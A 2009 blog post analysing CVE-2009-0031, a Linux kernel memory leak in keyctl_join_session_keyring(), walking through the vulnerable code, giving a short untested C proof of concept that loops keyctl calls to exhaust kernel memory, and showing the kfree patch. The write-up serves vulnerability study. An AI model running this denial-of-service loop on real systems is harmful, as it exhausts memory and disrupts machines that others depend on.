xorl %eax, %eax

CVE-2009-0031: KeyCTL Memory Leak

leave a comment »

This was found by Vegard Nossum and reported on 17 January 2009. It is a common kernel memory leak that can lead to memory exhaust and consequently, to local denial of service due to lack of memory resources. The affected kernel is Linux kernel up to 2.6.29-rc1-git which makes this bug present on almost every kernel on most distributions nowadays. The code I’m about to provide here is taken from Linux kernel 2.6.28.1 release. Keyctl(1) is a key management facility that can be used on numerous operations including key management for SELinux, procfs, kernel services etc. The vulnerable code can be found at security/keys/keyctl.c on function keyctl_join_session_keyring(). This routine implements the support of session keys and is directly accessible from the user space API of keyctl. Let’s have a closer look:

256 long keyctl_join_session_keyring(const char __user *_name)
257 {
258        char *name;
259        long ret;
260

Nothing notable here apart from the user controlled argument (_name). The code continues like this:

261        /* fetch the name from userspace */
262        name = NULL;
263        if (_name) {

Just a check for a name that is not NULL. And here is the juicy part..

264                name = strndup_user(_name, PAGE_SIZE);

As you already know, strndup_user() which is just a wrapper around strndup() will allocate space for another instance of the _name and then return this pointer which is stored at name. So.. we now have allocated space, keep this in mind and move on.

265                if (IS_ERR(name)) {
266                        ret = PTR_ERR(name);
267                        goto error;
268                }
269        }
270

If there was an error on the returned pointer, then just exit by going to error which simply returns the error code. If it succeeds however:

271        /* join the session */
272        ret = join_session_keyring(name);
273
274 error:
275        return ret;
276
277 } /* end keyctl_join_session_keyring() */

Well, even if everything went as expected the space allocated for _name at line 264 never gets freed! This means that iterative calls to this function can consume all the available memory and lead to a denial of service situation.
A friend of mine told me not to judge bugs as lame or funny etc. but I can’t :P So… this bug is retarded and I don’t even know why I posted it. Here is the elite (this is ultra irony) way to trigger it..

#include <keyutils.h>
#include <linux/keyctl.h>
#include <stdio.h>

int
main(void)
{
   long ret = 0;
  printf("[+] Starting keyctl DoS\n");

   while ((ret = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "bleh")) != (long) -1)
      printf("[+] Key returned: %ld\n", ret);

   printf("[-] FAIL!\n");
   return 0;
}

I haven’t tested the above PoC but I think it’ll do the work. Well, yeah.. I’m to lame to recompile my kernel to test a retarded bug like this one. Anyway, hope you’ve learned something new even though I doubt it.. To conclude, this was patched simply by adding the missing kfree() function like this:

        ret = join_session_keyring(name);
+       kfree(name);

  error:

Over and out.

Written by xorl

January 21, 2009 at 13:08

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s